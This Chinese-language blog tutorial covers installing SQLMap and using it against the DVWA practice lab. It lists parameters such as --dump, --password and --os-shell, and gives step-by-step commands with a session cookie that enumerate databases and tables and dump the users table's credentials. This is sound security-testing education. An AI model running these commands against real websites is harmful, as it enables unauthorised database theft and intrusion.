安全测试必备工具---SQLMap 安装及基本应用

在信息化飞速发展的今天,安全漏洞的威胁与日俱增,尤其是数据库安全。SQL 注入被认为是最危险的网络攻击之一,而 SQLMap,则是测试人员应对这类威胁的强大工具!

作为一款开源的 SQL 注入检测和利用工具,SQLMap 有哪些功能?如何快速安装并应用于安全测试中?

近年来,SQL 注入漏洞引发的安全事故屡见不鲜,尤其在医疗、金融和教育领域,造成的用户隐私泄露和经济损失不可估量。SQLMap 的普及,使测试人员更好地预防此类漏洞,为数据安全筑起一道坚实防线。

如果你是一名安全测试人员或开发者,SQLMap 是你必须掌握的一项技能!想了解更多实用技巧和案例?

什么是SQLMap?

SQLmap是一款由python开发的用来检测与利用SQL注入漏洞的免费开源工具。支持多种数据库,如MySQL、Oracle、PostgreSQL、SQL Server、Access、IBMDB2、SQLite等数据库。有一个非常棒的特性,即对检测与利用的自动化处理(如数据库指纹、访问底层文件系统、执行命令)。

SQLMap下载

官方网站下载: http://sqlmap.org/

图片.png

这里选择Github去下载

图片.png

win10下SQLMap安装

1、先安装好python环境,不管是2还是3版本都支持(python安装过程略,自行百度解决)。安装后可cmd命令窗口输入python -V 查看到版本信息即为成功。

图片.png

2、将下载好的sqlmap-master.zip压缩包,解压到自己需要的目录

3、进入解压后的目录,在显示目录路径位置输入cmd回车,在弹出的命令行窗口,输入 python sqlmap.py即开启工具使用

图片.png

SQLMap的常用参数

如果不想用之前缓存这个目标的session文件,可以使用这个参数。会清空之前的session,重新测试该目标。

-u∶指定目标URL进行sql注入检测

--batch:自动去做问题应答

--cookie :当前会话的cookie值

--dbs: 查询当前网站所有数据库

-D:指定数据库名

--tables:查询数据库下的所有表名

-T:指定表名

--columns:指定查询所有字段

-C:指定字段的名称

--dump:查询并导出其数据,拖库

--current-db:获取当前数据库

--current-user :获取当前登录数据库用户名称

--users:查询数据库的所有用户

--password:查询数据库用户的密码

--os-shell:直接返回一个shell(如果存在的话)

-flush-session 刷新session文件

SQLMap的基本应用

基于DVWA靶场以下模块,进行SQLMap实操演示

图片.png

1、注入判断 -u

输入:python sqlmap.py -u http://192.168.253.137:666/vulnerabilities/sqli/?id=1&Submit=Submit。去进行操作--会报错,需要登录。

图片.png

图片.png

2、添加cookie绕过登录

python sqlmap.py -u "http://192.168.253.137:666/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low"。

运行过程中需要用户输入y/n才能进入下一步操作,如果希望跳过这些,可以在命令末尾加 --batch

图片.png

图片.png

通过以上结果可知,存在SQL注入点。

3、查询当下所有数据库

python sqlmap.py -u "http://192.168.253.137:666/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" --dbs --batch

图片.png

4、查询指定库下的表名

python sqlmap.py -u "http://192.168.253.137:666/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" -D dvwa --tables

图片.png

5、查指定表的所有字段

python sqlmap.py -u "http://192.168.253.137:666/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" -D dvwa -T users --columns

图片.png

6、查询字段内容

python sqlmap.py -u "http://192.168.253.137:666/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low" -D dvwa -T users -C user,password --dump

这个过程有点慢,请耐心等待,最终得到表的所有用户及明文密码信息。

图片.png

最后

此文中提到的工具及技术操作,仅用于学术交流,请遵守《网络安全法》,严禁将此文中工具和技术用于非法攻击测试。

安全无小事,责任大如天。掌握像 SQLMap 这样的专业工具,不仅是技术能力的提升,更是为系统安全保驾护航的重要实践。

漏洞无情,工具有道。用 SQLMap 做安全测试,让你的系统牢不可破!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值